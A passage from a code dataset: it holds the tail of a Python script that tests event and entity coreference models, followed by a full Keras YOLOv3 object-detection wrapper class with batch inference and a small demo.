torch.device(cudan)\n    else:\n        device = torch.device(\"cpu\")\n    # 加载模型\n    if use_cuda:  # 训练模型时使用的是0号GPU，现在使用n号GPU，需要转换\n        cd_event_model = torch.load(config_dict[\"cd_event_model_path\"], map_location={'cuda:0': cudan})\n        cd_entity_model = torch.load(config_dict[\"cd_entity_model_path\"], map_location={'cuda:0': cudan})\n    else:  # 训练模型时使用的是0号GPU，现在使用CPU，需要转换\n        cd_event_model = torch.load(config_dict[\"cd_event_model_path\"], map_location={'cuda:0': 'cpu'})\n        cd_entity_model = torch.load(config_dict[\"cd_entity_model_path\"], map_location={'cuda:0': 'cpu'})\n    # 把模型放到设备中\n    cd_event_model.to(device)\n    cd_entity_model.to(device)\n\n    # 加载外部wd ec结果\n    doc_to_entity_mentions = src.all_models.model_utils.load_entity_wd_clusters(config_dict)\n\n    # 算法主体(数据，模型)\n    _,_ = src.all_models.model_utils.test_models(test_set, cd_event_model, cd_entity_model,\n                                  device, config_dict, write_clusters=True,\n                                  out_dir=args.out_dir,\n                                  doc_to_entity_mentions=doc_to_entity_mentions,\n                                  analyze_scores=True)\n\n    run_conll_scorer()\n\n\ndef main():\n    \"\"\"\n    This script loads the trained event and entity models and test them on the test set\n    \"\"\"\n\n    # 读入测试数据\n    print('Loading test data...')\n    logging.info('Loading test data...')\n    # 根据配置文件加载测试集\n    with open(config_dict[\"test_path\"], 'rb') as f:  # test_path是测试数据路径\n        test_data = cPickle.load(f)\n        '''\n        测试集test_data是一个自定义类Corpus的实例化对象\n        Corpus类在sr/shared/classes.py中定义\n          Corpus包含Topic；Topic包含Document(以及E和V指称)；Document包含Sentence\n          Sentence包含Token(以及真实的和预测的E和V指称)；...\n        '''\n    print('Test data have been loaded.')\n    logging.info('Test data have been loaded.')\n\n    # 运行算法进行测试\n    test_model(test_data)  # test_model这玩意是上边定义的函数\n\n\nif __name__ == '__main__':\n\n    main()\n","sub_path":"src/all_models/predict_model0.py","file_name":"predict_model0.py","file_ext":"py","file_size_in_byte":8154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"375008265","text":"# -*- coding: utf-8 -*-\n\"\"\"\nClass definition of YOLO_v3 style detection model on image and video\n\"\"\"\n\nimport os\nimport cv2\nimport colorsys\nfrom timeit import default_timer as timer\n\nimport numpy as np\nfrom keras import backend as K\nfrom keras.models import load_model\nfrom keras.layers import Input\nfrom keras.utils import multi_gpu_model\nfrom PIL import Image, ImageFont, ImageDraw\nimport tensorflow as tf\n\nTHIS_DIR = os.path.dirname(os.path.realpath(__file__))\nCWD = os.getcwd()\nif CWD == THIS_DIR:\n    from yolo3.model import yolo_eval, yolo_eval_batch, yolo_body, tiny_yolo_body\n    from yolo3.utils import letterbox_image\nelse:\n    from .yolo3.model import yolo_eval, yolo_eval_batch, yolo_body, tiny_yolo_body\n    from .yolo3.utils import letterbox_image\n\nKERAS_YOLO_DIR = os.path.dirname(os.path.abspath(__file__))\n\nclass YOLO(object):\n    _defaults = {\n        # \"model_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/yolov3-tiny.h5'),\n        \"model_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/yolov3.h5'),\n        # \"model_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/pp_reanchored_best_train.h5'),\n        # \"model_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/pp_reanchored_best_val.h5'),\n        # \"anchors_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/tiny_yolo_anchors.txt'),\n        # \"anchors_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/PP_ALL_anchors.txt'),\n        \"anchors_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/yolo_anchors.txt'),\n        \"classes_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/coco_classes.txt'),\n        # \"classes_path\": os.path.join(KERAS_YOLO_DIR, 'model_data/PP_classes.txt'),\n        \"score\" : 0.5,\n        \"iou\" : 0.45,\n        # \"model_image_size\" : (288, 512), # Height, Width\n        \"model_image_size\" : (608, 608),# Height, Width\n        # \"input_image_size\" : (1080, 1920), # Height, Width\n        \"gpu_num\" : 1,\n        \"batch_size\" : 1,\n    }\n\n    @classmethod\n    def get_defaults(cls, n):\n        if n in cls._defaults:\n            return cls._defaults[n]\n        else:\n            return \"Unrecognized attribute name '\" + n + \"'\"\n\n    def __init__(self, bgr, pillow=False, gpu_usage = 0.5, old=False, gpu_device='cuda:0', **kwargs):\n        '''\n        Params\n        ------\n        - bgr : Boolean, signifying if the inputs is bgr or rgb (if you're using cv2.imread it's probably in BGR) \n        - pillow : Boolean, flag to give inputs in pillow format instead of ndarray-like, this will override bgr flag to False\n        - batch_size : int, inference batch size (default = 1)\n        - gpu_device : str, device string from forms\n        '''\n        self.__dict__.update(self._defaults) # set up default values\n        self.__dict__.update(kwargs) # and update with user overrides\n        self.class_names = self._get_class()\n        self.anchors = self._get_anchors()\n        self.bgr = bgr\n        self.pillow = pillow\n        if self.pillow:\n            self.bgr = False\n        # config = tf.ConfigProto()\n        # config.gpu_options.allow_growth=True\n        # config.gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=gpu_usage)\n        dev_splits = gpu_device.split(':')\n        dev = dev_splits[0]\n        if dev == 'cuda':\n            self.device_idx = dev_splits[-1]\n            self.device_str = \"/device:GPU:{}\".format(self.device_idx)\n        else: # cpu\n            self.device_idx = \"-1\"\n            self.device_str = \"/device:CPU:0\"\n        self.device = gpu_device\n        # os.environ[\"CUDA_VISIBLE_DEVICES\"] = gpu_device\n        gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=gpu_usage)\n        # sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, log_device_placement=True, allow_soft_placement = True))\n        sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, allow_soft_placement = True))\n        K.set_session(sess)\n        self.sess = K.get_session()\n        self.boxes, self.scores, self.classes = self.generate(old=old)\n        self.graph = tf.get_default_graph()\n        print('Keras Yolov3 started at batch size of {} and confidence threshold of {}, using gpu device {}, bgr is {}, pillow is {}.'.format(self.batch_size, self.score, self.device_str, self.bgr, self.pillow))\n        print('Model input size {}'.format(self.model_image_size))\n        # self.boxes, self.scores, self.classes = self.generate()\n        warmup_height, warmup_width = self.model_image_size # Height, Width\n        warmup_image = np.zeros((warmup_height,warmup_width,3), dtype='uint8')\n        print('Warming up...')\n        self._detect_batch([warmup_image] * self.batch_size, warmup_width, warmup_height)\n        print('YOLO warmed up!')\n        # print('Input image size initialised as {}x{} (WxH)! Please give the appropriate argument inputs if this is wrong.'.format(self.input_image_size[1], self.input_image_size[0]))\n\n    def _get_class(self):\n        classes_path = os.path.expanduser(self.classes_path)\n        with open(classes_path) as f:\n            class_names = f.readlines()\n        class_names = [c.strip() for c in class_names]\n        return class_names\n\n    def _get_anchors(self):\n        anchors_path = os.path.expanduser(self.anchors_path)\n        with open(anchors_path) as f:\n            anchors = f.readline()\n        anchors = [float(x) for x in anchors.split(',')]\n        return np.array(anchors).reshape(-1, 2)\n\n    def generate(self, old = False):\n        model_path = os.path.expanduser(self.model_path)\n        assert model_path.endswith('.h5'), 'Keras model or weights must be a .h5 file.'\n\n        # Load model, or construct model and load weights.\n        num_anchors = len(self.anchors)\n        num_classes = len(self.class_names)\n        is_tiny_version = num_anchors==6 # default setting\n        with tf.device(self.device_str):\n            try:\n                self.yolo_model = load_model(model_path, compile=False)\n            except:\n                self.yolo_model = tiny_yolo_body(Input(shape=(None,None,3)), num_anchors//2, num_classes) \\\n                    if is_tiny_version else yolo_body(Input(shape=(None,None,3)), num_anchors//3, num_classes)\n                self.yolo_model.load_weights(self.model_path) # make sure model, anchors and classes match\n            else:\n                assert self.yolo_model.layers[-1].output_shape[-1] == \\\n                    num_anchors/len(self.yolo_model.output) * (num_classes + 5), \\\n                    'Mismatch between model and given anchor and class sizes'\n\n        print('{} model, anchors, and classes loaded.'.format(model_path))\n\n        # Generate colors for drawing bounding boxes.\n        hsv_tuples = [(x / len(self.class_names), 1., 1.)\n                      for x in range(len(self.class_names))]\n        self.colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))\n        self.colors = list(\n            map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)),\n                self.colors))\n        np.random.seed(10101)  # Fixed seed for consistent colors across runs.\n        np.random.shuffle(self.colors)  # Shuffle colors to decorrelate adjacent classes.\n        np.random.seed(None)  # Reset seed to default.\n\n        with tf.device(self.device_str):\n        # Generate output tensor targets for filtered bounding boxes.\n            self.input_image_shape = K.placeholder(shape=(2, ))\n        if self.gpu_num>=2:\n            self.yolo_model = multi_gpu_model(self.yolo_model, gpus=self.gpu_num)\n\n        with tf.device(self.device_str):\n            if old:\n                print('using old yolo eval')\n                boxes, scores, classes = yolo_eval(self.yolo_model.output, self.anchors,\n                        len(self.class_names), self.input_image_shape,\n                        score_threshold=self.score, iou_threshold=self.iou)\n            else:\n                boxes, scores, classes = yolo_eval_batch(self.yolo_model.output, self.anchors,\n                        len(self.class_names), self.input_image_shape, self.batch_size,\n                        score_threshold=self.score, iou_threshold=self.iou)\n        return boxes, scores, classes\n        # return boxes, scores, classes\n\n    def _refresh(self, batch_size):\n        self.batch_size = batch_size\n        # Generate colors for drawing bounding boxes.\n        hsv_tuples = [(x / len(self.class_names), 1., 1.)\n                      for x in range(len(self.class_names))]\n        self.colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))\n        self.colors = list(\n            map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)),\n                self.colors))\n        np.random.seed(10101)  # Fixed seed for consistent colors across runs.\n        np.random.shuffle(self.colors)  # Shuffle colors to decorrelate adjacent classes.\n        np.random.seed(None)  # Reset seed to default.\n\n        # Generate output tensor targets for filtered bounding boxes.\n        self.input_image_shape = K.placeholder(shape=(2, ))\n        if self.gpu_num>=2:\n            self.yolo_model = multi_gpu_model(self.yolo_model, gpus=self.gpu_num)\n\n        # boxes, scores, classes = yolo_eval_batch(self.yolo_model.output, self.anchors,\n        #         len(self.class_names), self.input_image_shape, batch_size=2,\n        #         score_threshold=self.score, iou_threshold=self.iou)\n        # boxes, scores, classes = yolo_eval(self.yolo_model.output, self.anchors,\n        #         len(self.class_names), self.input_image_shape,\n        #         score_threshold=self.score, iou_threshold=self.iou)\n\n        self.boxes, self.scores, self.classes = yolo_eval_batch(self.yolo_model.output, self.anchors,\n                len(self.class_names), self.input_image_shape, self.batch_size,\n                score_threshold=self.score, iou_threshold=self.iou)\n\n    def regenerate(self, batch_size):\n        if batch_size == self.batch_size:\n            return\n        self._refresh(batch_size)\n        warmup_height, warmup_width = self.model_image_size # Height, Width\n\n        warmup_image = np.zeros((warmup_height,warmup_width,3), dtype='uint8')\n        print('Warming up...')\n        self._detect_batch([warmup_image] * self.batch_size, warmup_width, warmup_height)\n        print('YOLO warmed up!')\n\n    def _preprocess(self, image, expand=True):\n        '''\n        Params\n        ------\n        image : ndarray-like or PIL image (in that case, self.pillow better be True)\n        expand : Boolean, usually True for single image cases\n\n        Returns\n        -------\n        ndarray-like\n        '''\n        if isinstance(image, np.ndarray):\n            if self.bgr: image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n            image = Image.fromarray( image )\n        else:\n            assert isinstance(image, Image.Image),'image not a PIL.Image.Image!'        \n        \n        if self.model_image_size != (None, None):\n            assert self.model_image_size[0]%32 == 0, 'Multiples of 32 required'\n            assert self.model_image_size[1]%32 == 0, 'Multiples of 32 required'\n            boxed_image = letterbox_image(image, tuple(reversed(self.model_image_size)))\n        else:\n            new_image_size = (image.width - (image.width % 32),\n                              image.height - (image.height % 32))\n            boxed_image = letterbox_image(image, new_image_size)\n        image_data = np.array(boxed_image, dtype='float32')\n        image_data /= 255.\n        if expand:\n            image_data = np.expand_dims(image_data, 0)  # Add batch dimension.\n        return image_data\n\n    def _detect(self, image):\n        image_data = self._preprocess(image)\n        out_boxes, out_scores, out_classes = self.sess.run(\n            [self.boxes, self.scores, self.classes],\n            feed_dict={\n                self.yolo_model.input: image_data,\n                self.input_image_shape: [image.shape[0], image.shape[1]], # height, width\n                K.learning_phase(): 0\n            })\n        return out_boxes, out_scores, out_classes\n\n    def _preprocess_batch(self, images):\n        # images_data = np.array( [self._preprocess(image) for image in images] )\n        images_data = np.zeros((len(images),*self.model_image_size,3))\n        for i, image in enumerate(images):\n            if image is not None:\n                images_data[i] = self._preprocess( image, expand=False )\n        return images_data\n\n    def _detect_batch(self, images, im_width, im_height):\n        '''\n        detect function \n\n        Params\n        ------\n        images : list of ndarrays\n        im_width : width of image\n        im_height : height of image\n\n        '''\n        if len( images ) <= 0:\n            return None\n        # assert all([images[0].shape == img.shape for img in images[1:]]),'Network does not acccept images of different sizes. please speak to evan.'\n\n        # assert len(images) <= self.batch_size,'Length of image batch given ({}) is bigger than what network was initialised as ({}).'.format(len(images), self.batch_size)\n        # assert len(images) == self.batch_size,'Length of image batch given ({}) different from what network was initialised as ({}).'.format(len(images), self.batch_size)\n        if len(images) < self.batch_size:\n            images.extend([None]*int(self.batch_size - len(images)))\n        assert len(images) == self.batch_size\n        images_data = self._preprocess_batch(images)\n        with self.graph.as_default():\n            out_boxes, out_scores, out_classes = self.sess.run(\n                [self.boxes, self.scores, self.classes],\n                feed_dict={\n                    self.yolo_model.input: images_data,\n                    self.input_image_shape: [im_height, im_width], # height, width\n                    # self.input_image_shape: [images[0].shape[0], images[0].shape[1]], # height, width\n                    # self.input_image_shape: [self.input_image_size[0], self.input_image_size[1]], # height, width\n                    K.learning_phase(): 0\n                })\n        return out_boxes, out_scores, out_classes\n        # return out_boxes, out_scores, out_classes\n\n    def detect_get_box_in(self, images, box_format='ltrb', classes=None, buffer_ratio=0.):\n        '''\n        Params\n        ------\n        - images : ndarray-like or list of ndarray-like\n        - box_format : string of characters representing format order, where l = left, t = top, r = right, b = bottom, w = width and h = height\n        - classes : list of string, classes to focus on\n        - buffer : float, proportion of buffer around the width and height of the bounding box\n\n        Returns\n        -------\n        if one ndarray given, this returns a list (boxes in one image) of tuple (box_infos, score, predicted_class),\n        \n        else if a list of ndarray given, this return a list (batch) containing the former as the elements,\n\n        where,\n            - box_infos : list of floats in the given box format\n            - score : float, confidence level of prediction\n            - predicted_class : string\n\n        '''\n        \n        no_batch = False\n        if isinstance(images, list):\n            if len(images) <= 0 : \n                return None\n            # else:\n                # assert isinstance(images[0], np.ndarray)\n                # if all([images[0].shape == img.shape for img in images[1:]]):\n                    # print('WARNING from yolo module: Input images in batch are of diff sizes, the input size will take the first image in the batch, you will have to scale the output bounding boxes of those input image whose sizes differ from the first image yourself.')\n                # assert all([images[0].shape == img.shape for img in images[1:]]),'Network does not acccept images of different sizes. please speak to eugene.'\n        elif isinstance(images, np.ndarray):\n            images = [ images ]\n            no_batch = True\n        \n        if isinstance(images[0], np.ndarray):\n            im_height, im_width = images[0].shape[:2]\n        else:\n            assert isinstance(images[0], Image.Image)\n            im_width, im_height = images[0].size\n\n        # import time\n        # tic = time.time()\n        all_out_boxes = []\n        all_out_scores = []\n        all_out_classes = []\n        for i in range( int(np.ceil(len(images)/self.batch_size)) ):\n            from_ = i*self.batch_size\n            to_ = min(len(images),i*self.batch_size+self.batch_size)\n            n = to_ - from_ \n            # print('Inferencing {} images'.format(n))\n            out_boxes, out_scores, out_classes = self._detect_batch(images[from_:to_],im_width, im_height)\n            all_out_boxes.extend(out_boxes[:n])\n            all_out_scores.extend(out_scores[:n])\n            all_out_classes.extend(out_classes[:n])\n        # tic2 = time.time()\n        all_dets = []\n        for out_boxes, out_scores, out_classes in zip(all_out_boxes, all_out_scores, all_out_classes):\n            dets = []\n            for i, c in reversed(list(enumerate(out_classes))):\n                predicted_class = self.class_names[c]\n                if classes is not None and predicted_class not in classes:\n                    continue\n                score = out_scores[i]\n                box = out_boxes[i]\n\n                top, left, bottom, right = box\n\n                width = right - left + 1\n                height = bottom - top + 1\n                width_buffer = width * buffer_ratio\n                height_buffer = height * buffer_ratio\n                \n                top = max( 0.0, top-0.5*height_buffer )\n                left = max( 0.0, left-0.5*width_buffer )\n                bottom = min( im_height - 1.0, bottom + 0.5*height_buffer )\n                right = min( im_width - 1.0, right + 0.5*width_buffer )\n\n                box_infos = []\n                for c in box_format:\n                    if c == 't':\n                        box_infos.append( int(round(top)) ) \n                    elif c == 'l':\n                        box_infos.append( int(round(left)) )\n                    elif c == 'b':\n                        box_infos.append( int(round(bottom)) )\n                    elif c == 'r':\n                        box_infos.append( int(round(right)) )\n                    elif c == 'w':\n                        box_infos.append( int(round(width+width_buffer)) )\n                    elif c == 'h':\n                        box_infos.append( int(round(height+height_buffer)) )\n                    else:\n                        assert False,'box_format given in detect unrecognised!'\n                assert len(box_infos) > 0 ,'box infos is blank'\n\n                dets.append( (box_infos, score, predicted_class) )\n                # dets.append((top, left, bottom, right) (predicted_class, score, ) )\n            all_dets.append(dets)\n        # tic3 = time.time()\n        # print('Batch Forward pass: {}s'.format(tic2 - tic))\n        # print('Post proc: {}s'.format(tic3 - tic2))\n        if no_batch:\n            return all_dets[0]\n        else:\n            return all_dets\n\n    def detect_ltwh(self, np_image, classes=None, buffer=0.):\n        raise Exception('This method has been deprecated, please use detect_get_box_in for a more general method.')\n        '''\n        detect method\n\n        Params\n        ------\n        np_image : ndarray\n\n        Returns\n        ------\n        list of triples ([left, top, width, height], score, predicted_class)\n\n        '''\n        # image = Image.fromarray(np_image)\n        # if self.model_image_size != (None, None):\n        #     assert self.model_image_size[0]%32 == 0, 'Multiples of 32 required'\n        #     assert self.model_image_size[1]%32 == 0, 'Multiples of 32 required'\n        #     boxed_image = letterbox_image(image, tuple(reversed(self.model_image_size)))\n        # else:\n        #     new_image_size = (image.width - (image.width % 32),\n        #                       image.height - (image.height % 32))\n        #     boxed_image = letterbox_image(image, new_image_size)\n        # image_data = np.array(boxed_image, dtype='float32')\n\n        # image_data /= 255.\n        # image_data = np.expand_dims(image_data, 0)  # Add batch dimension.\n        # image_data = self.preprocess(image)\n\n        # out_boxes, out_scores, out_classes = self.sess.run(\n        #     [self.boxes, self.scores, self.classes],\n        #     feed_dict={\n        #         self.yolo_model.input: image_data,\n        #         self.input_image_shape: [image.size[1], image.size[0]],\n        #         K.learning_phase(): 0\n        #     })\n\n        # image_data = self.preprocess(image)\n        # out_boxes, out_scores, out_classes = self.sess.run(\n        #     [self.boxes, self.scores, self.classes],\n        #     feed_dict={\n        #         self.yolo_model.input: image_data,\n        #         self.input_image_shape: [image_data.shape[0], image_data.shape[1]], # height, width\n        #         K.learning_phase(): 0\n        #     })\n\n        # dets = []\n\n        # for i, c in reversed(list(enumerate(out_classes))):\n        #     predicted_class = self.class_names[c]\n        #     if classes is not None and predicted_class not in classes:\n        #         continue\n\n        #     score = out_scores[i]\n        #     box = out_boxes[i]\n        #     top, left, bottom, right = box\n        #     width = right - left + 1\n        #     height = bottom - top + 1\n        #     width_buf = (width) * buffer\n        #     height_buf = (height) * buffer\n        #     top = max(0, np.floor(top + 0.5 - height_buf).astype('int32'))\n        #     left = max(0, np.floor(left + 0.5 - width_buf).astype('int32'))\n        #     bottom = min(image.size[1], np.floor(bottom + 0.5 + height_buf).astype('int32'))\n        #     right = min(image.size[0], np.floor(right + 0.5 + width_buf).astype('int32'))\n\n        #     dets.append( ([left, top, width, height], score, predicted_class) )\n\n        # return dets\n\n    def detect_path(self, path, box_format='ltrb', classes=None):\n        img = cv2.imread(path)\n        assert self.pillow == False,'Please initialise this object with pillow = False'\n        assert self.bgr == True,'Please initialise this object with bgr = True'\n        # print('WARNING: pillow set to False and bgr set to True, do not use this yolo object for anything else.')\n        dets = self.detect_get_box_in(img, box_format='ltrb', classes=classes)\n        return dets\n\n    # def detect_persons(self, image, classes=None, buf=0.):\n    #     return self.detect( image, classes=['person'], buffer=buf )\n\n    def get_detections_dict(self, frames, classes=None, buffer_ratio=0.0):\n        '''\n        Params: frames, list of ndarray-like\n        Returns: detections, list of dict, whose key: label, confidence, t, l, w, h\n        '''\n        if frames is None or len(frames) == 0:\n            return None\n        all_dets = self.detect_get_box_in( frames, box_format='tlbrwh', classes=classes, buffer_ratio=buffer_ratio )\n        \n        all_detections = []\n        for dets in all_dets:\n            detections = []\n            for tlbrwh,confidence,label in dets:\n                top, left, bot, right, width, height = tlbrwh\n                # left = tlbr[1]\n                # bot = tlbr[2]\n                # right = tlbr[3]\n                # width = right - left\n                # height = bot - top\n                detections.append( {'label':label,'confidence':confidence,'t':top,'l':left,'b':bot,'r':right,'w':width,'h':height} ) \n            all_detections.append(detections)\n        return all_detections\n\n    def get_triple_detections(self, frame, classes=None):\n        raise Exception('this method has been deprecated, please use detect_get_box_in for a more general method.')\n        # '''\n        # Params\n        # ------\n        # frame : np array\n        \n        # Returns\n        # ------\n        # list\n        #     List of triples ( [left,top,w,h] , confidence, detection_class)\n\n        # '''\n        # if frame is None:\n        #     return None\n        # image = Image.fromarray( frame )\n        # dets = self.detect( image, classes=classes )\n        # detections = []\n        # for label, confidence, tlbr in dets:\n        #     top = tlbr[0]\n        #     left = tlbr[1]\n        #     bot = tlbr[2]\n        #     right = tlbr[3]\n        #     width = right - left\n        #     height = bot - top\n        #     detections.append( ([left, top, width, height], confidence, label) ) \n        # return detections\n\n    # for reid PERSON ONLY\n    def get_detections_batch(self, frames):\n        # TODO: BATCH INFER THIS SHIT\n        all_detections = []\n        for frame in frames:\n            if frame is None:\n                all_detections.append([])\n                continue\n            curr_detections = self.get_detections_dict(frame, classes=['person'])\n            # image = Image.fromarray( frame )\n            # dets = self.detect_get_box_in( image,  classes=['person'] )\n            # curr_detections = []\n            # for label, confidence, tlbr in dets:\n            #     top = tlbr[0]\n            #     left = tlbr[1]\n            #     bot = tlbr[2]\n            #     right = tlbr[3]\n            #     width = right - left\n            #     height = bot - top\n            #     tlwh = {'t':top, 'l':left, 'w':width, 'h':height}\n            #     curr_detections.append( {'label':label, 'confidence':confidence, 'tlwh':tlwh} )\n            all_detections.append(curr_detections)\n        return all_detections\n\n    def crop_largest_person(self, image, buf=0.1):\n        raise Exception('this method has been deprecated, please use detect_get_box_in for a more general method.')\n        # dets = self.detect( image, classes=['person'], buffer=buf )\n        # # get the largest detection\n        # largest_det = None\n        # for _,_,tlbr in dets:\n        #     if largest_det is None:\n        #         largest_det = tlbr\n        #     else:\n        #         detarea = (tlbr[3]-tlbr[1]) * (tlbr[2]-tlbr[0])\n        #         ldarea = (largest_det[3]-largest_det[1]) * (largest_det[2]-largest_det[0])\n        #         if detarea > ldarea:\n        #             largest_det = tlbr\n\n        # if largest_det is not None:\n        #     # crop image\n        #     min_x = largest_det[1]\n        #     min_y = largest_det[0]\n        #     max_x = largest_det[3]\n        #     max_y = largest_det[2]\n        #     return image.crop( (min_x, min_y, max_x, max_y) )\n        # return image\n\n    def get_largest_person(self, np_image, buf=0.1):\n        raise Exception('this method has been deprecated, please use detect_get_box_in for a more general method.')\n        # # image = Image.fromarray(np_image)\n        # dets = self.detect_ltwh( np_image, classes=['person'], buffer=buf )\n        # # get the largest detection\n        # largest_det = None\n        # for det in dets:\n        #     if largest_det is None:\n        #         largest_det = det\n        #     else:\n        #         detarea = det[0][2] * det[0][3]\n        #         ldarea = largest_det[0][2] * largest_det[0][3]\n        #         if detarea > ldarea:\n        #             largest_det = det\n        # return largest_det\n\n    def get_largest_person_and_bb(self, np_image, buf=0.1):\n        raise Exception('this method has been deprecated, please use detect_get_box_in for a more general method.')\n        # image = Image.fromarray(np_image)\n        # dets = self.detect( image, classes=['person'], buffer=buf )\n        # # get the largest detection\n        # largest_det = None\n        # for _,_,tlbr in dets:\n        #     if largest_det is None:\n        #         largest_det = tlbr\n        #     else:\n        #         detarea = (tlbr[3]-tlbr[1]) * (tlbr[2]-tlbr[0])\n        #         ldarea = (largest_det[3]-largest_det[1]) * (largest_det[2]-largest_det[0])\n        #         if detarea > ldarea:\n        #             largest_det = tlbr\n\n        # if largest_det is not None:\n        #     # crop image\n        #     min_x = largest_det[1]\n        #     min_y = largest_det[0]\n        #     max_x = largest_det[3]\n        #     max_y = largest_det[2]\n        #     return np.array(image.crop( (min_x, min_y, max_x, max_y) )), largest_det\n        # return None, None\n\n    def close_session(self):\n        self.sess.close()\n\ndef detect_video(yolo, video_path, output_path=\"\"):\n    import cv2\n    vid = cv2.VideoCapture(video_path)\n    if not vid.isOpened():\n        raise IOError(\"Couldn't open webcam or video\")\n    video_FourCC    = int(vid.get(cv2.CAP_PROP_FOURCC))\n    video_fps       = vid.get(cv2.CAP_PROP_FPS)\n    video_size      = (int(vid.get(cv2.CAP_PROP_FRAME_WIDTH)),\n                        int(vid.get(cv2.CAP_PROP_FRAME_HEIGHT)))\n    isOutput = True if output_path != \"\" else False\n    if isOutput:\n        print(\"!!! TYPE:\", type(output_path), type(video_FourCC), type(video_fps), type(video_size))\n        out = cv2.VideoWriter(output_path, video_FourCC, video_fps, video_size)\n    accum_time = 0\n    curr_fps = 0\n    fps = \"FPS: ??\"\n    prev_time = timer()\n    while True:\n        return_value, frame = vid.read()\n        image = Image.fromarray(frame)\n        image = yolo.detect_image(image)\n        result = np.asarray(image)\n        curr_time = timer()\n        exec_time = curr_time - prev_time\n        prev_time = curr_time\n        accum_time = accum_time + exec_time\n        curr_fps = curr_fps + 1\n        if accum_time > 1:\n            accum_time = accum_time - 1\n            fps = \"FPS: \" + str(curr_fps)\n            curr_fps = 0\n        cv2.putText(result, text=fps, org=(3, 15), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n                    fontScale=0.50, color=(255, 0, 0), thickness=2)\n        cv2.namedWindow(\"result\", cv2.WINDOW_NORMAL)\n        cv2.imshow(\"result\", result)\n        if isOutput:\n            out.write(result)\n        if cv2.waitKey(1) & 0xFF == ord('q'):\n            break\n    yolo.close_session()\n\nif __name__ == '__main__':\n    import cv2\n    import time\n    # yolo = YOLO(bgr=True, batch_size=1)\n    \n    # img = cv2.imread('/home/dh/Pictures/frisbee.jpg')\n    # img2 = cv2.imread('/home/dh/Pictures/dog_two.jpg')\n    # img2 = cv2.resize(img2, (img.shape[1], img.shape[0]))\n    # img3 = cv2.imread('/home/dh/Pictures/puppy-dog.jpg')\n    # img3 = cv2.resize(img3, (img.shape[1], img.shape[0]))\n\n    # img_batch = [img]\n    # # img_batch = [img, img2]\n    # # img_batch = [img, img2, img3]\n\n    # all_dets = yolo.detect_get_box_in(img_batch, box_format='ltrb')\n    # # boxes, scores, classes = yolo._detect_batch(img_batch)\n    # for dets, im in zip(all_dets, img_batch):\n    #     im_show = im.copy()\n    #     for det in dets:\n    #         # print(det)\n    #         ltrb, conf, clsname = det\n    #         l,t,r,b = ltrb\n    #         cv2.rectangle(im_show, (int(l),int(t)),(int(r),int(b)), (255,255,0))\n    #         print('{}:{}'.format(clsname, conf))\n    #     cv2.imshow('',im_show)\n    #     cv2.waitKey(0)\n    # cv2.destroyAllWindows()\n    # print('REDO with diff batch size')\n\n    # img_batch = [img, img2, img3]\n    # yolo.regenerate(batch_size=len(img_batch))\n    # all_dets = yolo.detect_get_box_in(img_batch, box_format='ltrb')\n    # for dets, im in zip(all_dets, img_batch):\n    #     im_show = im.copy()\n    #     for det in dets:\n    #         # print(det)\n    #         ltrb, conf, clsname = det\n    #         l,t,r,b = ltrb\n    #         cv2.rectangle(im_show, (int(l),int(t)),(int(r),int(b)), (255,255,0))\n    #         print('{}:{}'.format(clsname, conf))\n    #     cv2.imshow('',im_show)\n    #     cv2.waitKey(0)\n    # cv2.destroyAllWindows()\n\n    # numstreams = 1\n    ip = 'test.jpg'\n    img = cv2.imread(ip)\n    # vp = '/media/dh/HDD/reid/street_looped.mp4'\n    # cap = cv2.VideoCapture(vp)\n    # caps = []\n    # for _ in range(numstreams):\n    #     caps.append(cv2.VideoCapture(vp))\n    \n    bs = 1\n    imgs = [ img for _ in range(bs)]\n    yolo = YOLO(bgr=True, batch_size=bs, model_image_size=(608, 608))\n    # yolo = YOLO(bgr=True, batch_size=bs, model_image_size=(896, 896))\n    # yolo = YOLO(bgr=True, batch_size=bs, model_image_size=(896, 512))\n\n    # frame_idx = 0\n    # while True:\n    #     frames = []\n    #     for cap in caps:\n    #         ret, frame = cap.read()\n    #         if not ret:\n    #             break\n    #         frames.append(frame)\n    #         # frames = [frame] * numstreams\n    #     frame_idx += 1\n    #     if (frame_idx-1)%10:\n    tic = time.perf_counter()\n    all_dets = yolo.detect_get_box_in(imgs, box_format='ltrb')\n    toc = time.perf_counter()\n    print('infer time:', toc-tic)\n            # for dets, im in zip(all_dets, frames):\n            # im_show = frame.copy()\n    im_show = img.copy()\n    for det in all_dets[0]:\n        # print(det)\n        ltrb, conf, clsname = det\n        l,t,r,b = ltrb\n        cv2.rectangle(im_show, (int(l),int(t)),(int(r),int(b)), (255,255,0))\n        cv2.putText(im_show, '{:0.2f}'.format(conf), (l,b), cv2.FONT_HERSHEY_DUPLEX, fontScale=1, color=(255,255,0), lineType=2)\n        # print('{}:{}'.format(clsname, conf))\n    cv2.imwrite('test_out.jpg', im_show)\n    #         cv2.imshow('',im_show)\n    #         if cv2.waitKey(1) == ord('q'):\n    #             break\n    # cv2.destroyAllWindows()\n","sub_path":"yolo.py","file_name":"yolo.py","file_ext":"py","file_size_in_byte":33129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
